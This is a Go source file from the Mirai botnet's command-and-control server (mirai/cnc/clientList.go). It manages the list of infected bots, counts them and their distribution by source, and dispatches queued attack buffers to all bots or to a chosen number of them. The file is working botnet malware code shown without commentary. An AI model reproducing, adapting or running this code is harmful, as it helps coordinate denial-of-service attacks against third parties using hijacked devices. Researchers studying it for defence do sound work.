Mirai-Source-Code/mirai/cnc/clientList.go

131 lines
3.2 KiB
Go
Executable File

package main
import (
"time"
"math/rand"
"sync"
"fmt"
)
type AttackSend struct {
buf []byte
count int
botCata string
}
type ClientList struct {
uid int
count int
clients map[int]*Bot
addQueue chan *Bot
delQueue chan *Bot
atkQueue chan *AttackSend
totalCount chan int
cntView chan int
distViewReq chan int
distViewRes chan map[string]int
cntMutex *sync.Mutex
}
func NewClientList() *ClientList {
c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}}
go c.worker()
go c.fastCountWorker()
return c
}
func (this *ClientList) Count() int {
this.cntMutex.Lock()
defer this.cntMutex.Unlock()
this.cntView <- 0
return <-this.cntView
}
func (this *ClientList) Distribution() map[string]int {
this.cntMutex.Lock()
defer this.cntMutex.Unlock()
this.distViewReq <- 0
return <-this.distViewRes
}
func (this *ClientList) AddClient(c *Bot) {
this.addQueue <- c
}
func (this *ClientList) DelClient(c *Bot) {
this.delQueue <- c
fmt.Printf("Deleted client %d - %s - %s\n", c.version, c.source, c.conn.RemoteAddr())
}
func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
attack := &AttackSend{buf, maxbots, botCata}
this.atkQueue <- attack
}
func (this *ClientList) fastCountWorker() {
for {
select {
case delta := <-this.totalCount:
this.count += delta
break
case <-this.cntView:
this.cntView <- this.count
break
}
}
}
func (this *ClientList) worker() {
rand.Seed(time.Now().UTC().UnixNano())
for {
select {
case add := <-this.addQueue:
this.totalCount <- 1
this.uid++
add.uid = this.uid
this.clients[add.uid] = add
break
case del := <-this.delQueue:
this.totalCount <- -1
delete(this.clients, del.uid)
break
case atk := <-this.atkQueue:
if atk.count == -1 {
for _,v := range this.clients {
if atk.botCata == "" || atk.botCata == v.source {
v.QueueBuf(atk.buf)
}
}
} else {
var count int
for _, v := range this.clients {
if count > atk.count {
break
}
if atk.botCata == "" || atk.botCata == v.source {
v.QueueBuf(atk.buf)
count++
}
}
}
break
case <-this.cntView:
this.cntView <- this.count
break
case <-this.distViewReq:
res := make(map[string]int)
for _,v := range this.clients {
if ok,_ := res[v.source]; ok > 0 {
res[v.source]++
} else {
res[v.source] = 1
}
}
this.distViewRes <- res
}
}
}